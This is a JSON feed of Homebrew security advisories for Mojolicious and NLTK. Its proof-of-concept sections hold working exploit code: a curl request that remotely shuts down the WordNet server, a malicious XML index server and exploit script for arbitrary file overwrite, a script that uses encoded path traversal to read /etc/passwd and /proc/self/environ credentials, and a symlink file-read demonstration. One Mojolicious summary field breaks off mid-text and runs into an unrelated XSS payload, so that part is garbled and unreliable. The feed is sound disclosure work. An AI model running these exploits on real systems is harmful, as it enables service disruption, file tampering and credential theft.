{"meta":{"count":13791,"skipped_uncomparable":0,"schema_version":"1.7.3"},"advisories":{"abcde":[{"schema_version":"1.7.3","id":"BREW-abcde-CPANSA-Mojolicious-2021-02","published":"2026-08-13T09:10:09Z","modified":"2026-08-13T09:10:09Z","upstream":["CPANSA-Mojolicious-2021-02"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.91","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Small sessions could be used as part of a brute-force attack to decode the session secret.","details":"Small sessions could be used as part of a brute-force attack to decode the session secret.\n","references":[{"type":"WEB","url":"https://github.com/mojolicious/mojo/pull/1791"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CPANSA-Mojolicious-2022-03","published":"2026-08-13T09:10:09Z","modified":"2026-08-13T09:10:09Z","upstream":["CPANSA-Mojolicious-2022-03"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.31","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Mojo::DOM did not correctly parse \", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '' were not found in the dictionary.\n```\n\"127\"\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n pickle.dumps((\"\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33230"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-33231","published":"2026-08-13T16:34:58Z","modified":"2026-09-17T18:47:55Z","upstream":["GHSA-jm6w-m3j8-898g","CVE-2026-33231","PYSEC-2026-2236"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"Unauthenticated remote shutdown in nltk.app.wordnet_app","details":"### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n - The server listens on all interfaces:\n - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n - Incoming requests are checked for the exact path:\n - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\\t{{.Status}}'\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33231"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-33236","published":"2026-08-13T16:34:58Z","modified":"2026-09-09T23:40:40Z","upstream":["GHSA-469j-vmhf-r6v7","CVE-2026-33236","PYSEC-2026-2237"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","details":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n ↓\n2. Provides malicious XML: \n ↓\n3. Victim executes: downloader.download('passwd')\n ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\n\n \n \n \n\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path == '/malicious_index.xml':\n self.send_response(200)\n self.send_header('Content-type', 'application/xml')\n self.end_headers()\n with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n self.wfile.write(f.read())\n elif self.path == '/test.zip':\n self.send_response(200)\n self.send_header('Content-type', 'application/zip')\n self.end_headers()\n with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n self.wfile.write(f.read())\n else:\n self.send_response(404)\n self.end_headers()\n \n def log_message(self, format, *args):\n pass\n\n# Start server\nif __name__ == \"__main__\":\n port = 8888\n server = HTTPServer((\"0.0.0.0\", port), Handler)\n print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n print(\"Press Ctrl+C to stop\")\n try:\n server.serve_forever()\n except KeyboardInterrupt:\n print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n print(f\"Download directory: {download_dir}\")\n \n # Exploit vulnerability\n from nltk.downloader import Downloader\n downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n downloader.download(\"test_file\", quiet=True)\n \n # Check results\n expected_path = \"/tmp/test_file.zip\"\n if os.path.exists(expected_path):\n print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n print(f\"✗ Path traversal attack successful!\")\n else:\n print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33236"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-54293","published":"2026-08-13T16:34:58Z","modified":"2026-09-17T18:47:55Z","upstream":["GHSA-p4gq-832x-fm9v","CVE-2026-54293","PYSEC-2026-2078"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read","details":"### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650–L653 — final path constructed from url2pathname(resource_name) after checks\ndata.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615–L618 — defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK <= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n nltk/data.py:find() checks resource names against a regex for\n traversal patterns (../, leading /, etc.) BEFORE calling\n url2pathname() which decodes %xx sequences. This is a classic\n \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk <= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n \"\"\"Test a single traversal variant.\"\"\"\n try:\n content = nltk.data.load(payload, format=fmt)\n if isinstance(content, bytes):\n preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n else:\n preview = content[:200]\n first_line = preview.split(\"\\n\")[0]\n print(f\" [VULN] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Read OK: {first_line}\")\n return True\n except Exception as e:\n print(f\" [SAFE] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Blocked: {type(e).__name__}: {e}\")\n return False\n\n\ndef main():\n print(BANNER)\n vulns = 0\n\n # --- Variant 1: URL-encoded absolute path ---\n print(\"[1] URL-encoded absolute path (%2f = /)\")\n if test_variant(\n \"Encoded leading slash bypasses ^/ regex check\",\n \"nltk:%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 2: Encoded dot-dot traversal ---\n print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n if test_variant(\n \"Encoded dots bypass \\\\.\\\\./ regex check\",\n \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 3: Literal dots with encoded slash ---\n print(\"[3] Literal dots with encoded slash (..%2f)\")\n if test_variant(\n \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 4: Read process environment (credential leak) ---\n print(\"[4] Read /proc/self/environ (credential leakage)\")\n try:\n content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n print(f\" [VULN] Leaked {len(env_vars)} environment variables\")\n for var in env_vars[:3]:\n if var:\n key = var.split(\"=\")[0] if \"=\" in var else var\n print(f\" {key}=...\")\n vulns += 1\n except Exception as e:\n print(f\" [SAFE] Blocked: {e}\")\n\n print()\n\n # --- Control: verify normal traversal IS blocked ---\n print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n print()\n print(\"=\" * 51)\n print(f\" Result: {vulns} bypass variant(s) succeeded\")\n if vulns > 0:\n print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n else:\n print(\" Status: Not vulnerable\")\n print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.\n\n### fix\nhttps://github.com/nltk/nltk/pull/3575","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54293"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3575"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-54293"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491486"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-62383","published":"2026-08-29T08:37:38Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3726","CVE-2026-62383","GHSA-3hhw-38pf-pxj6"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_4"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.2","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely","details":"## Summary\n\n`IPIPANCorpusReader` (`nltk/corpus/reader/ipipan.py`) exposes public methods, `channels()`, `domains()`, `categories()`, and `fileids(channels=...)`, that accept a caller supplied `fileids` list and read a file via a completely unprotected builtin `open()` call, with no `nltk.pathsec` involvement at all. A symlink placed inside the corpus root, with a name containing no separators or `..`, passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.\n\n## Root cause\n\nAll four methods route through `_get_tag()`:\n\n```python\ndef _get_tag(self, f, tag):\n tags = []\n with open(f) as infile: # builtin open(), no pathsec involvement\n header = infile.read()\n ...\n```\n\n`f` arrives via `_list_header_files()` / `_list_morph_files_by()`, both of which call:\n\n```python\nf.replace(\"morph.xml\", \"header.xml\")\n```\n\non the result of `self.abspath(...)` or `self.abspaths(...)`. `FileSystemPathPointer` subclasses `str`, so `.replace()` returns a plain Python string, silently discarding the `PathPointer` wrapper. That plain string is handed straight to builtin `open()`.\n\nThis is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (`CorpusReader.open()`, `NKJPCorpusReader.add_root()`, and the recent `FramenetCorpusReader` fix): those route file access through `nltk.pathsec.validate_path()`, at minimum the global, non-scoped check, before opening. Here, converting the `PathPointer` to a plain string before calling `open()` skips `pathsec` completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered `nltk.data.path` root.\n\nPlain literal `../` traversal in the fileid is still blocked by `FileSystemPathPointer.join()`, so this is specifically the symlink variant, not a regression of the older, simpler traversal class.\n\n## Proof of concept\n\nConstructed the normal, documented way, `fileids` as a regex over file paths, so the reader auto-discovers whatever `.xml` files exist in its root with no special knowledge of the planted symlink.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.ipipan import IPIPANCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"ipipan\")\nos.makedirs(corpus_root)\n\nwith open(os.path.join(corpus_root, \"real_morph.xml\"), \"w\") as f:\n f.write(\"legit\")\n\nsecret_dir = os.path.join(root, \"outside_ipipan_root\")\nos.makedirs(secret_dir)\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n f.write(\"TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT\")\n\nos.symlink(secret_path, os.path.join(corpus_root, \"evil_link.xml\"))\n\nreader = IPIPANCorpusReader(corpus_root, r\".*\\.xml\")\nprint(\"Auto-discovered fileids:\", sorted(reader.fileids()))\n\nresult = reader.channels(fileids=[\"evil_link.xml\"])\nprint(result)\n```\n\nActual output when run against current `develop`:\n\n```\nAuto-discovered fileids: ['evil_link.xml', 'real_morph.xml']\n['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own `fileids()` listing, exactly as a real file would.\n\nVerified separately that literal `../` traversal in the fileid is still rejected (`ValueError: Traversal blocked`), confirming this is specifically the symlink gap, not a broader regression.\n\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (`SECURITY.md` names \"shared environments... multi-tenant pipelines\" as the project's own stated threat model) plus a completely normal API call.\n- Core corpus-reader code, reached through plain `import nltk` and documented, programmatic usage (`words()`, `sents()`, `channels()`, etc.), not a demo or GUI tool.\n- Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for `FramenetCorpusReader` and `NKJPCorpusReader`.\n- Not a bypass of a claimed fix. `ipipan.py` has never had security hardening applied, and has no dedicated test coverage at all.\n\n## CVSS v3.1\n\n- **AV:L, AC:L**: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.\n- **PR:L**: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.\n- **UI:N**: fires during routine, automated corpus processing, no separate victim action.\n- **S:U**: stays within the same process's existing privileges.\n- **C:H, I:N, A:N**: arbitrary file read only, no write, no crash.\n\n## Suggested fix\n\nRoute `_get_tag()` through `nltk.pathsec.validate_path()` with the corpus root as `required_root`, or through `CorpusReader.open()`, instead of converting the `PathPointer` to a plain string and calling builtin `open()` directly. The same fix pattern already applied to `FramenetCorpusReader` and `NKJPCorpusReader` applies directly here.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-3hhw-38pf-pxj6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62383"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3727"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/ee1a42e51982c4dce6ad3ee77ff1ac43894288ab"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3726.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-ipipancorpusreader-symlink-arbitrary-file-read"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-62384","published":"2026-09-04T08:43:15Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3789","CVE-2026-62384","GHSA-f833-7jw8-xwrv"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_4"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.2","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)","details":"This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `/.xml`\n- `_lu_file()` reads `/lu.xml`\n- `doc()` reads `/`\n\nAll three 